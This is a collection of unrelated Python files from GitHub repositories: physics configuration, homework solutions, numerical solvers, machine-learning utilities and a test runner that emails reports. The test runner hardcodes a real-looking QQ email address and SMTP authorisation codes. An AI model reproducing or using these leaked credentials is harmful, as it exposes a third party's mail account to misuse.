+{"seq_id":"32626592520","text":"import FWCore.ParameterSet.Config as cms\nfrom RecoParticleFlow.PFClusterProducer.particleFlowCaloResolution_cfi import _timeResolutionHCAL\n\n_thresholdsHB = cms.vdouble(0.8, 0.8, 0.8, 0.8)\n_thresholdsHE = cms.vdouble(0.8, 0.8, 0.8, 0.8, 0.8, 0.8, 0.8)\n_thresholdsHBphase1 = cms.vdouble(0.1, 0.2, 0.3, 0.3)\n_thresholdsHEphase1 = cms.vdouble(0.1, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2)\n\n\nparticleFlowRecHitHBHE = cms.EDProducer(\"PFRecHitProducer\",\n    navigator = cms.PSet(\n            name = cms.string(\"PFRecHitHCALNavigator\"),\n            sigmaCut = cms.double(4.0),\n            timeResolutionCalc = _timeResolutionHCAL\n    ),\n    producers = cms.VPSet(\n           cms.PSet(\n             name = cms.string(\"PFHBHERecHitCreator\"),\n             src  = cms.InputTag(\"hbhereco\",\"\"),\n             qualityTests = cms.VPSet(\n                  cms.PSet(\n                  name = cms.string(\"PFRecHitQTestHCALThresholdVsDepth\"),\n                  cuts = cms.VPSet(\n                        cms.PSet(\n                            depth=cms.vint32(1, 2, 3, 4),\n                            threshold = _thresholdsHB,\n                            detectorEnum = cms.int32(1)\n                            ),\n                        cms.PSet(\n                            depth=cms.vint32(1, 2, 3, 4, 5, 6, 7),\n                            threshold = _thresholdsHE,\n                            detectorEnum = cms.int32(2)\n                            )\n                        )\n                  ),\n                  cms.PSet(\n                      name = cms.string(\"PFRecHitQTestHCALChannel\"),\n                      maxSeverities      = cms.vint32(11),\n                      cleaningThresholds = cms.vdouble(0.0),\n                      flags              = cms.vstring('Standard')\n                  )\n                  \n\n             )\n           ),\n           \n    )\n\n)\n\ncuts2017 = particleFlowRecHitHBHE.producers[0].qualityTests[0].cuts\n\ncuts2018 = cms.VPSet(\n    cms.PSet(\n        depth=cms.vint32(1, 2, 3, 4),\n        threshold = _thresholdsHB,\n        detectorEnum = cms.int32(1)\n        ),\n    cms.PSet(\n        depth=cms.vint32(1, 2, 3, 4, 5, 6, 7),\n        threshold = _thresholdsHEphase1,\n        detectorEnum = cms.int32(2)\n        )\n    )\n\ncuts2019 = cms.VPSet(\n    cms.PSet(\n        depth=cms.vint32(1, 2, 3, 4),\n        threshold = _thresholdsHBphase1,\n        detectorEnum = cms.int32(1)\n        ),\n    cms.PSet(\n        depth=cms.vint32(1, 2, 3, 4, 5, 6, 7),\n        threshold = _thresholdsHEphase1,\n        detectorEnum = cms.int32(2)\n        )\n    )\n\ncutsPhase2 = cms.VPSet(\n    cms.PSet(\n        depth=cms.vint32(1, 2, 3, 4),\n        threshold = _thresholdsHB,\n        detectorEnum = cms.int32(1)\n        ),\n    cms.PSet(\n        depth=cms.vint32(1, 2, 3, 4, 5, 6, 7),\n        threshold = _thresholdsHE,\n        detectorEnum = cms.int32(2)\n        )\n    )\n\n# offline 2018 -- uncollapsed\nfrom Configuration.Eras.Modifier_run2_HCAL_2018_cff import run2_HCAL_2018\nrun2_HCAL_2018.toModify(particleFlowRecHitHBHE.producers[0].qualityTests[0], cuts = cuts2018)\n\nfrom Configuration.Eras.Modifier_run2_HE_2018_cff import run2_HE_2018\nrun2_HE_2018.toModify(particleFlowRecHitHBHE.producers[0].qualityTests[0], cuts = cuts2018)\n\n# offline 2018 -- collapsed\nrun2_HECollapse_2018 =  cms.Modifier()\nrun2_HECollapse_2018.toModify(particleFlowRecHitHBHE.producers[0].qualityTests[0], cuts = cuts2017)\n\n# offline 2019\nfrom Configuration.Eras.Modifier_run3_HB_cff import run3_HB\nrun3_HB.toModify(particleFlowRecHitHBHE.producers[0].qualityTests[0], cuts = cuts2019)\n\n# offline phase2 restore what has been studied in the TDR\nfrom Configuration.Eras.Modifier_phase2_hcal_cff import phase2_hcal\nphase2_hcal.toModify(particleFlowRecHitHBHE.producers[0].qualityTests[0], cuts = cutsPhase2)\n","repo_name":"AnYpku/cmssw10x","sub_path":"RecoParticleFlow/PFClusterProducer/python/particleFlowRecHitHBHE_cfi.py","file_name":"particleFlowRecHitHBHE_cfi.py","file_ext":"py","file_size_in_byte":3761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"29264878002","text":"def bear(berries):\r\n    n = len(berries)\r\n    if berries[0:n:2] > berries[1:n:2]:\r\n        return berries[0:n:2]\r\n    else:\r\n        return berries[1:n:2]\r\n# a -is from input.txt every string in array format\r\na = [4, 2, 5, 7]\r\nprint(bear(a))\r\n# The bear function is ready,\r\npoint = sum(bear(a))\r\nprint(point)\r\n# the point write to output.txt\r\n","repo_name":"ABproductionIT/homework","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"5442740939","text":"import random\nstreak_count=0\n\nfor i in range(10000):\n    l1 = []\n    for experimentNumber in range(10):\n        v = random.randint(0,1)\n        l1.append(v)\n    #print(l1[:-1])\n    counter = 1\n    for index,item in enumerate(l1[:-1]):\n        if item == l1[index+1]:\n            counter = counter + 1\n            a = counter\n            #print(\"value of item \"+str(item)+\" value of item[index+1]= \"+str(l1[index+1])+\"value of counter = \" +str(counter) + \"and a= \"+ str(a)+\" at index \"+str(index))\n            if a == 6:\n                #print(\"Streak\")\n                counter=1\n                a=1\n                streak_count = streak_count+1\n            else:\n                pass\n        else:\n            #print('passing')\n            continue\nprint(\"stk is\",streak_count/100)\n\n\n\n\n\n\n\n\n","repo_name":"renukachopra/test4","sub_path":"ch6.py","file_name":"ch6.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"71444618174","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndx, dy = 2, 2\nTa = 100\nhprim = 0.05\nsizex, sizey = 11, 11\nunkn_sizex, unkn_sizey = sizex-2, sizey-2\nA = np.zeros((unkn_sizex*unkn_sizey, unkn_sizex*unkn_sizey))  # 81 x 81\nB = np.zeros((unkn_sizex*unkn_sizey, 1))\nT = np.zeros((sizex, sizey))\n\nfor i in range(sizex):\n    for j in range(sizey):\n        if   i == 0:          T[i][j] = 400 - j*10\n        elif i == sizex-1:    T[i][j] = 300 - j*10\n        elif j == 0:          T[i][j] = 400 - i*10\n        elif j == sizey-1:    T[i][j] = 300 - i*10\n\nfor i in range(unkn_sizey):\n    for j in range(unkn_sizex):\n        for z in range(unkn_sizex * unkn_sizey):\n            if z % unkn_sizex == j:\n                if (int)(z/unkn_sizex) == i:\n                    B[i*unkn_sizex + j] = Ta\n                    A[z][i*unkn_sizex + j] = 2/(dx*dx*hprim) + 2/(dy*dy*hprim) + 1\n                    if T[i+1][j]   != 0:  B[i*unkn_sizex + j]     += T[i+1][j]/ (dx * dx * hprim)\n                    else:                 A[z][i*unkn_sizex + j - 1]  = -1 / (dx * dx * hprim)\n                    if T[i+1][j+2] != 0:  B[i*unkn_sizex + j]     += T[i+1][j+2]/ (dx * dx * hprim)\n                    else:                 A[z][i*unkn_sizex + j + 1]  = -1 / (dx * dx * hprim)\n                    if T[i][j+1]   != 0:  B[i*unkn_sizex + j]     += T[i][j+1]/ (dy * dy * hprim)\n                    else:                 A[z][(i-1)*unkn_sizex + j]  = -1 / (dy * dy * hprim)\n                    if T[i+2][j+1] != 0:  B[i*unkn_sizex + j]     += T[i+2][j+1]/ (dy * dy * hprim)\n                    else:                 A[z][(i+1)*unkn_sizex + j]  = -1 / (dy * dy * hprim)\n\nprint(\"macierz A:\")\nprint(A)\nprint(\"macierz B:\")\nprint(B)\nX = np.linalg.solve(A, B)\nprint(\"macierz X:\")\nprint(X)\nfor i in range(unkn_sizex):\n    for j in range(unkn_sizey):\n        T[i+1][j+1] = X[i*9+j]\n\nnp.set_printoptions(precision=1)\nprint(\"macierz T:\")\nprint(T)\nplt.imshow(T, cmap='hot_r')\nplt.show()","repo_name":"Zekhire/numerical_methods","sub_path":"Lab12.py","file_name":"Lab12.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"14821923676","text":"import torch\nimport torch.nn.functional as F\n\n\ndef get_degree_mat(adj_mat, pow=1, degree_version='v1'):\n    degree_mat = torch.eye(adj_mat.size()[0]).to(adj_mat.device)\n\n    if degree_version == 'v1':\n        degree_list = torch.sum((adj_mat > 0), dim=1).float()\n    elif degree_version == 'v2':\n        adj_mat_hat = F.relu(adj_mat)\n        degree_list = torch.sum(adj_mat_hat, dim=1).float()\n    elif degree_version == 'v3':\n        degree_list = torch.sum(adj_mat, dim=1).float()\n        degree_list = F.relu(degree_list)\n    else:\n        exit('error degree_version ' + degree_version)\n    degree_list = torch.pow(degree_list, pow)\n    degree_mat = degree_mat * degree_list\n    return degree_mat\n\n\ndef get_laplace_mat(adj_mat, type='sym', add_i=False, degree_version='v1'):\n    if type == 'sym':\n        # Symmetric normalized Laplacian\n        if add_i is True:\n            adj_mat_hat = torch.eye(adj_mat.size()[0]).to(adj_mat.device) + adj_mat\n        else:\n            adj_mat_hat = adj_mat\n        degree_mat_hat = get_degree_mat(adj_mat_hat, pow=-0.5, degree_version=degree_version)\n        laplace_mat = torch.mm(degree_mat_hat, adj_mat_hat)\n        laplace_mat = torch.mm(laplace_mat, degree_mat_hat)\n        return laplace_mat\n    elif type == 'rw':\n        # Random walk normalized Laplacian\n        adj_mat_hat = torch.eye(adj_mat.size()[0]).to(adj_mat.device) + adj_mat\n        degree_mat_hat = get_degree_mat(adj_mat_hat, pow=-1)\n        laplace_mat = torch.mm(degree_mat_hat, adj_mat_hat)\n        return laplace_mat\n\n\ndef adj_2_bias(adj):\n    node_size = adj.size()[0]\n    new_mat = ((torch.eye(node_size).to(adj.device) + adj) >= 1).float()\n    new_mat = torch.tensor(-1e9) * (1 - new_mat)\n    return new_mat\n\n\ndef adj_2_bias_without_self_loop(adj):\n    # node_size = adj.size()[0]\n    new_mat = (adj >= 1).float()\n    new_mat = torch.tensor(-1e9).to(adj.device) * (1 - new_mat)\n    return new_mat\n\n\nif __name__ == '__main__':\n    adj_mat = torch.FloatTensor([\n        [1, 0],\n        [-1, 1]\n    ])\n    print(get_degree_mat(adj_mat, degree_version='v3'))\n    print(get_laplace_mat(adj_mat, degree_version='v1'))","repo_name":"Eurus-Holmes/VGCN","sub_path":"tools/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"74645741696","text":"class Solution(object):\n    def countWords(self, words1, words2):\n        \"\"\"\n        :type words1: List[str]\n        :type words2: List[str]\n        :rtype: int\n        \"\"\"\n        count = 0\n        for i in words1:\n            if(words1.count(i) == 1 and words2.count(i) == 1):\n                count = count + 1\n        return count","repo_name":"KevinJuwangLee/LeetCode","sub_path":"Biweekly/66/problem1.py","file_name":"problem1.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"69802771777","text":"import os.path\n\nimport numpy as np\n\nimport ReadFile\nimport LocateCL\nimport Fit\nimport Angle\n\n\ndef radium(input_file, rho, surface, base, equili=0, liquid_type=True):\n    path = os.path.split(input_file)[0]\n    file = os.path.split(input_file)[1]\n    suffix = '.' + file.split('.')[-1]\n    file = file.strip(suffix)\n    keywords = file.split('-')\n\n    index = path.split('/')[-1]\n    if len(keywords) == 4:\n        save_r_path = path + '/r.%s.%s.%s.%s.txt' % (index, keywords[3], surface, base)\n    else:\n        save_r_path = path + '/r.%s.%s.%s.%s.%s.%s.txt' % (index, keywords[3], keywords[4], surface, base, keywords[2])\n\n    data = ReadFile.ReadData(input_file)\n    validdata = data.read2D()[0][equili:]\n\n    rho_s = rho * surface  # 1.28\n    cl = LocateCL.Cl(validdata, rho_s, base, liquid_type)\n    clCoord = cl.drop()\n\n    np.savetxt(save_r_path, clCoord)\n\n\ndef ca(input_file, frequency, surface, base, equili=0, liquid_type=True):\n    path = os.path.split(input_file)[0]\n    file = os.path.split(input_file)[1]\n    suffix = '.' + file.split('.')[-1]\n    file = file.strip(suffix)\n\n    strength = file.split('-')[3]\n    index = path.split('/')[-1]\n\n    save_a_path = path + '/ca.%s.%s.%s.%s.txt' % (index, strength, surface, base)\n    save_c_path = path + '/contour.%s.%s.%s.%s.txt' % (index, strength, surface, base)\n    save_f_path = path + '/fit.%s.%s.%s.%s.txt' % (index, strength, surface, base)\n\n    data = ReadFile.ReadData(input_file)\n    validdata = data.read2D()[0][equili:]\n\n    rho = 1.28 * surface\n    cl = LocateCL.Cl(validdata, rho, base, liquid_type)\n    contours = cl.contour()\n\n    angle = np.zeros(frequency - equili)\n    n = 0\n    for contour in contours:\n        contour = np.array(contour)\n        zero = np.zeros((len(contour), 1))\n        fitdata = np.hstack((contour, zero)).T\n\n        fit = Fit.Fit(fitdata)\n        fitpara = fit.circleFit()\n        ca = Angle.CLAngle(fitpara, base)\n        angle[n] = ca.circleAngle\n        n += 1\n\n    np.savetxt(save_c_path, contours[-4])\n    np.savetxt(save_f_path, fitpara)\n    np.savetxt(save_a_path, angle)\n","repo_name":"da-xiongdi/LAMMPS_Data","sub_path":"CAOverTime/shape.py","file_name":"shape.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"25752254390","text":"import sys;input=lambda:sys.stdin.readline().strip(\"\\r\\n\")\nimport platform\nLOCAL = (platform.uname().node == 'AMO')\n# print(LOCAL)\ndef printf(a):\n    if LOCAL:\n        print('>>>:', end=' ')\n    \n    if(isinstance(a, list)):\n        print(' '.join(map(str, a)))\n    else:\n        print(a)\n\nimport bisect\n\nfor _ in range(int(input())):\n    n = int(input())\n    a = list(map(int, input().split()))\n\n    mp = {}\n    for i in range(n):\n        mp[a[i]] = 0\n    for i in range(n):\n        mp[a[i]] += 1\n    keys = sorted(mp.keys())\n    lenk = len(keys)\n\n    tot = 0\n    cur = 0\n    for i in range(lenk):\n        k = keys[i]\n\n        if(mp[k] > 1):\n            tot += 1\n        else:\n            if(cur == 1):\n                tot += 1\n            cur ^= 1\n\n    if cur == 1:\n        tot += 1\n\n    printf(tot)\n \n","repo_name":"amomorning/online-challenges","sub_path":"codeforces/1682/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"29638274285","text":"#！ /usr/bin/env python\n#coding:utf-8\n\nimport time,os,sys\nfrom HTMLTestRunner import HTMLTestRunner\nimport unittest\nfrom email.mime.text import MIMEText #定义邮件内容\nfrom email.header import Header #邮件主题\nfrom email.mime.multipart import MIMEMultipart #附件\nimport smtplib\n#from email import encoders\n\ndef send_mail(filename):\n    mail_host = 'stmp.qq.com'\n    mail_user = \"1483265434@qq.com\"\n    #mail_pass = \"okqwiahiuvwjhdig\"\n    mail_pass= \"zvtqwungfqixjahh\"\n    sender = \"测试专家权权\" #发送邮箱别名（用户名）\n    receivers=['quan.liu@decheche.com'] #收件人列表\n    message = MIMEMultipart('related') #采用related定义内嵌资源的邮件体 （附件）\n\n    #发送内容\n    f = open(filename, 'rb')\n    mail_body = f.read()\n    att = MIMEText(mail_body, 'base64', 'utf-8')\n    att[\"Content-Type\"] = 'application/octet-stream'\n    att.add_header('Content-Disposition', 'attachment', filename= os.path.basename(filename))\n    #encoders.encode_base64(att) 加密\n    message.attach(att)\n    f.close()\n\n\n\n\n    msg=MIMEText(mail_body,_subtype='html',_charset='utf-8')\n    message.attach(msg)\n    message['From']=sender\n    message[\"To\"] =','.join(receivers)\n    message['Subject'] = Header(\"接口自动化测试报告\",\"utf-8\")\n    smtp = smtplib.SMTP_SSL(\"smtp.qq.com\", 465)\n    smtp.login(mail_user,mail_pass)\n    smtp.sendmail(mail_user,receivers,message.as_string())\n    smtp.quit()\n\n    #查找最新的测试报告\ndef report(testreport):\n    lists = os.listdir(testreport)  # 返回指定文件夹下的文件或文件夹名称列表\n    lists.sort(key=lambda fn: os.path.getatime(testreport + \"/\" + fn))  # 通过sort()方法按时间排序\n    lists.reverse()\n    filename = os.path.join(testreport, lists[0])\n    print(filename,\"发送成功\")\n    return filename\n\n\n\n\nif __name__==\"__main__\":\n    #api_test_data.init_data() #初始化接口测试数据\n    # 指定测试用例为当前文件夹下的test_case目录\n    test_dir = './api_test_case'\n    discover = unittest.defaultTestLoader.discover(start_dir=test_dir,pattern='ddtDemo.py')\n\n    now = time.strftime(\"%Y%m%d%H%M%S\")\n    filename = './report/'+now+'_api_test_report.html'\n    fp = open(filename,\"wb\")\n    runner = HTMLTestRunner(stream=fp,\n                            title=\"DCC Auto Test  Report\",\n                            description=\"DCCAutoTest\")\n    runner.run(discover)\n    fp.close()\n\n    test_report = './report' #定义报告文件目录\n    rep=report(test_report)\n    send_mail(rep)\n","repo_name":"channingliu/DCCAutoTest","sub_path":"run_tests.py","file_name":"run_tests.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"8244529263","text":"import numpy as np\nimport random\n\ngame_p1 = np.array([3, 2])  # we have reduced the minimax example to this game\n\n# we initialize the following values\nQ = np.ones((2))        # Q-table\nalpha = 0.999           # learning rate\ngamma = 0.99            # discount factor\nepsilon = 0.2           # epsilon for the boundary of exploring or exploiting\n\n\ndef determine_action():\n    \"\"\"\n    This function chooses to explore or exploit\n    :return:\n    \"\"\"\n\n    if random.uniform(0, 1) < epsilon:  # if the sample drawn is lower than epsilon, we explore\n        if random.uniform(0, 1) < 0.5:\n            action = 0\n        else:\n            action = 1\n    else:   # else we exploit\n        if np.argmax(Q) == 0:\n            action = 0\n        else:\n            action = 1\n\n    return action\n\niterations = 3000   # total number of iterations\n\n\nfor i in range(0, iterations):\n    # here is the general loop\n    print(\"Now at iteration\", i+1)\n    action = determine_action() # we select an action\n    print(\"Player will now play action:\", action)\n\n    reward = game_p1[action]    # get the reward\n    print(\"Current reward in the game is:\", reward)\n    Q[action] = Q[action] + alpha * (reward + gamma * np.max(Q) - Q[action])    # update the Q-table\n    print(\"New update to the Q table makes it: \\n\", Q)\n    print(\"Currently at alpha\", alpha)\n    print(\"End of Q-learning\")\n    print(\"\")\n    print(\"\")","repo_name":"Rogierr/GTToolbox","sub_path":"agents/agent_q_learning_easy.py","file_name":"agent_q_learning_easy.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"71577516094","text":"'''\ngive each seed a rhalf value matched from the dr7 tractor catalog\n'''\ndr7_topdir = '/global/project/projectdirs/cosmo/data/legacysurvey/dr7/tractor/'\nSEED = '/global/cscratch1/sd/huikong/Obiwan/dr8/obiwan_out/test/elg_like.fits'\nprint(\"adding rhalf to seeds...\")\nimport astropy.io.fits as fits\nfrom astropy.table import Table\nimport os\nimport numpy as np\ndef seed_matching():\n    seed = Table.read(SEED)\n    bricknames = list(set(seed['brickname']))\n    rhalf = np.zeros(len(seed))\n    #e1 = np.zeros(len(seed))\n    #e2 = np.zeros(len(seed))\n    N = len(bricknames)\n    count=1\n    for brickname in bricknames:\n        print(\"%d/%d\"%(count,N))\n        count+=1\n        tractor = fits.getdata(os.path.join(dr7_topdir,brickname[:3],'tractor-'+brickname+'.fits'))\n        seed_sel = (seed['brickname']==brickname)\n        for i in range(seed_sel.sum()):\n            objid = seed[seed_sel][i]['objid']\n            tractor_match = tractor[np.where(tractor['objid']==objid)[0][0]]\n            if tractor_match['type']=='DEV':\n                rhalf_i = tractor_match['shapedev_r']\n                #e1_i = tractor_match['shapedev_e1']\n                #e2_i = tractor_match['shapedev_e2']\n            else:\n                rhalf_i = tractor_match['shapeexp_r']\n                #e1_i = tractor_match['shapeexp_e1'] \n                #e2_i = tractor_match['shapeexp_e2']\n            rhalf[seed_sel][i]=rhalf_i\n            #e1[seed_sel][i]=e1_i\n            #e2[seed_sel][i]=e2_i\n    seed['rhalf'] = rhalf\n    seed.write(os.environ['obiwan_out']+'/seed.fits',overwrite=True)\n\nseed_matching()\n","repo_name":"DriftingPig/Obi-Metallica","sub_path":"seed_formation/rhalf_hist_maker.py","file_name":"rhalf_hist_maker.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"20289916342","text":"from django.db import models\nimport uuid\nfrom authentication.models import User\n\n\n# Create your models here.\nclass Station(models.Model):\n    station_id = models.UUIDField(default=uuid.uuid4, primary_key=True)\n    name = models.CharField(unique=True, max_length=100)\n    location = models.CharField(max_length=255)\n    owner = models.ForeignKey(User, on_delete=models.CASCADE, to_field=\"id\")\n\n    def __str__(self):\n        return self.name","repo_name":"himanshu-sagar/vehicle-rental","sub_path":"station/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"40944024168","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\n\nclass LoadDimensionOperator(BaseOperator):\n\n    ui_color = '#80BD9E'\n\n    @apply_defaults\n    def __init__(self,\n                 # Define your operators params (with defaults) here\n                 redshift_conn_id=\"\",\n                 sql=\"\",\n                 target_table=\"\",\n                 append_data=True,\n                 *args, **kwargs):\n\n        super(LoadDimensionOperator, self).__init__(*args, **kwargs)\n        # Map params here\n        self.redshift_conn_id = redshift_conn_id\n        self.sql=sql\n        self.target_table=target_table\n        self.append_data=append_data\n\n    def execute(self, context):\n        redshift = PostgresHook(postgres_conn_id=self.redshift_conn_id)\n        \n        if not self.append_data:\n            self.log.info(f\"Clearing data from destination Redshift {self.target_table}\")\n            redshift.run(f\"DELETE FROM {self.target_table}\")\n        \n        self.log.info(f\"Loading dimension table {self.target_table} to Redshift\")\n        insert_dim_table = f\"\"\"\n                                INSERT INTO {self.target_table}\n                                {self.sql}\n                             \"\"\"\n        redshift.run(insert_dim_table)\n","repo_name":"tatianamara/data-pipelines-with-airflow","sub_path":"airflow/plugins/operators/load_dimension.py","file_name":"load_dimension.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"72023749054","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Olivier Sigaud\nA merge between two sources:\n* Adaptation of the MountainCar Environment from the \"FAReinforcement\" library\nof Jose Antonio Martin H. (version 1.0), adapted by  'Tom Schaul, tom@idsia.ch'\nand then modified by Arnaud de Broissia\n* the OpenAI/gym MountainCar environment\nitself from\nhttp://incompleteideas.net/sutton/MountainCar/MountainCar1.cp\npermalink: https://perma.cc/6Z2N-PFWC\n\"\"\"\n\nimport math\nimport os\n\nimport numpy as np\n\nimport gym\nfrom gym import spaces\nfrom gym.utils import seeding\n\nclass MtsEnv(gym.Env):\n    metadata = {\n        'render.modes': ['human'],\n    }\n\n    def __init__(self):\n        self.min_action = -1.0\n        self.max_action = 1.0\n\n        self.seed()\n        self.loadingData()\n\n        self.stepCnt = 0\n        self.position = 0.0    # 1.0 : long, -1.0 : short, 0.0 : none\n        self.bidask_price = 0.0\n        self.reward = float(self.futdata.shape[0])\n\n        self.viewer = None\n\n        self.low_state = self.futdata.min(axis=0)[3]\n        self.high_state = self.futdata.max(axis=0)[3]\n        #print(self.low_state, self.high_state)\n\n        self.action_space = spaces.Box(low=self.min_action, high=self.max_action,\n                                       shape=(1,), dtype=np.float32)\n        self.observation_space = spaces.Box(low=self.low_state, high=self.high_state,\n                                            shape=(3,), dtype=np.float32)\n\n        self.reset()\n\n    def seed(self, seed=None):\n        self.np_random, seed = seeding.np_random(seed)\n        return [seed]\n\n    def step(self, action):\n\n\n        #print(self.stepCnt, self.futdata.shape)\n        futcur = self.futdata[self.stepCnt][3]\n        bidprice = 0.0\n        askprice = 0.0\n        reward = 0\n\n        order = 0\n        if action[0] < -0.2:\n            order = -1  #ask\n        elif action[0] > 0.2:\n            order = 1   #bid\n        else:\n            order = 0\n\n\n        if self.position == 0.0:\n            if order == -1:\n                self.position = -1.0\n                self.bidask_price = futcur\n            elif order == 1:\n                self.position = 1.0\n                self.bidask_price = futcur\n        elif self.position == 1.0:\n            if order == -1 or order == 0:\n                self.position = 0.0\n                bidprice = self.bidask_price\n                askprice = futcur\n                self.bidask_price = 0.0\n                reward = (askprice - bidprice) * 10000\n                print('매수청산 리워드=', askprice, bidprice, reward)\n        elif self.position == -1.0:\n            if order == 1 or order == 0:\n                self.position = 0.0\n                bidprice = futcur\n                askprice = self.bidask_price\n                self.bidask_price = 0.0\n                reward = (askprice - bidprice) * 10000\n                print('매도청산 리워드=', askprice, bidprice, reward)\n\n\n        self.reward = self.reward + reward - 1\n\n        self.state = np.array([futcur, self.position, self.bidask_price])\n        self.stepCnt = self.stepCnt + 1\n\n        done = bool(self.futdata.shape[0] == self.stepCnt)\n        if done:\n            self.reward = float(self.futdata.shape[0])\n\n        return self.state, self.reward, done, {}\n\n    def reset(self):\n        self.state = np.array([self.high_state, 0.0, 0.0])\n        self.stepCnt = 0\n        return np.array(self.state)\n\n\n    def render(self, mode='human'):\n        screen_width = 600\n        screen_height = 400\n\n        world_width = self.max_position - self.min_position\n        scale = screen_width/world_width\n        carwidth=40\n        carheight=20\n\n\n        if self.viewer is None:\n            from gym.envs.classic_control import rendering\n            self.viewer = rendering.Viewer(screen_width, screen_height)\n            xs = np.linspace(self.min_position, self.max_position, 100)\n            ys = self._height(xs)\n            xys = list(zip((xs-self.min_position)*scale, ys*scale))\n\n            self.track = rendering.make_polyline(xys)\n            self.track.set_linewidth(4)\n            self.viewer.add_geom(self.track)\n\n            clearance = 10\n\n            l,r,t,b = -carwidth/2, carwidth/2, carheight, 0\n            car = rendering.FilledPolygon([(l,b), (l,t), (r,t), (r,b)])\n            car.add_attr(rendering.Transform(translation=(0, clearance)))\n            self.cartrans = rendering.Transform()\n            car.add_attr(self.cartrans)\n            self.viewer.add_geom(car)\n            frontwheel = rendering.make_circle(carheight/2.5)\n            frontwheel.set_color(.5, .5, .5)\n            frontwheel.add_attr(rendering.Transform(translation=(carwidth/4,clearance)))\n            frontwheel.add_attr(self.cartrans)\n            self.viewer.add_geom(frontwheel)\n            backwheel = rendering.make_circle(carheight/2.5)\n            backwheel.add_attr(rendering.Transform(translation=(-carwidth/4,clearance)))\n            backwheel.add_attr(self.cartrans)\n            backwheel.set_color(.5, .5, .5)\n            self.viewer.add_geom(backwheel)\n            flagx = (self.goal_position-self.min_position)*scale\n            flagy1 = self._height(self.goal_position)*scale\n            flagy2 = flagy1 + 50\n            flagpole = rendering.Line((flagx, flagy1), (flagx, flagy2))\n            self.viewer.add_geom(flagpole)\n            flag = rendering.FilledPolygon([(flagx, flagy2), (flagx, flagy2-10), (flagx+25, flagy2-5)])\n            flag.set_color(.8,.8,0)\n            self.viewer.add_geom(flag)\n\n        pos = self.state[0]\n        self.cartrans.set_translation((pos-self.min_position)*scale, self._height(pos)*scale)\n        self.cartrans.set_rotation(math.cos(3 * pos))\n\n        return self.viewer.render(return_rgb_array = mode=='rgb_array')\n\n    def close(self):\n        if self.viewer:\n            self.viewer.close()\n            self.viewer = None\n\n    def loadingData(self):\n        ROOT_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(__file__))))\n        self.futdata = np.genfromtxt(ROOT_DIR+'/data/fut_data_20190121_hour.csv', delimiter=',', skip_header=1)\n        #print(futdata[0][3])\n        print('loadingData complete!!!')\n\n\n","repo_name":"daesony/gym_mts","sub_path":"gym/envs/classic_control/mts_env.py","file_name":"mts_env.py","file_ext":"py","file_size_in_byte":6168,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"25359245386","text":"while True:\r\n    a = int(input())\r\n    c = []\r\n    if a == -1:\r\n        break\r\n    \r\n    for i in range(1,a):\r\n        if a % i == 0:\r\n            c.append(i)\r\n                \r\n    if sum(c) == a:\r\n        print(a,\" = \", \" + \".join(str(i) for i in c), sep=\"\")\r\n    else:\r\n        print(a, \"is NOT perfect.\")","repo_name":"pdh4869/solveAlgorithm","sub_path":"백준/Bronze/9506. 약수들의 합/약수들의 합.py","file_name":"약수들의 합.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"74550516416","text":"from kivymd.app import MDApp\nfrom kivy.uix.videoplayer import VideoPlayer\n\n\nclass MainApp(MDApp):\n    title = \"Simple Video\"\n\n    def build(self):\n        self.theme_cls.theme_style = \"Light\"\n        self.theme_cls.primary_palette = \"BlueGray\"\n\n        player = VideoPlayer(source=\"PythonPyQT5XOXGame.mp4\")\n\n        player.state = 'stop'\n\n        return player\n\n\nMainApp().run()","repo_name":"turtlecode/How-to-Add-Video-Player-Python-Kivy-GUI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
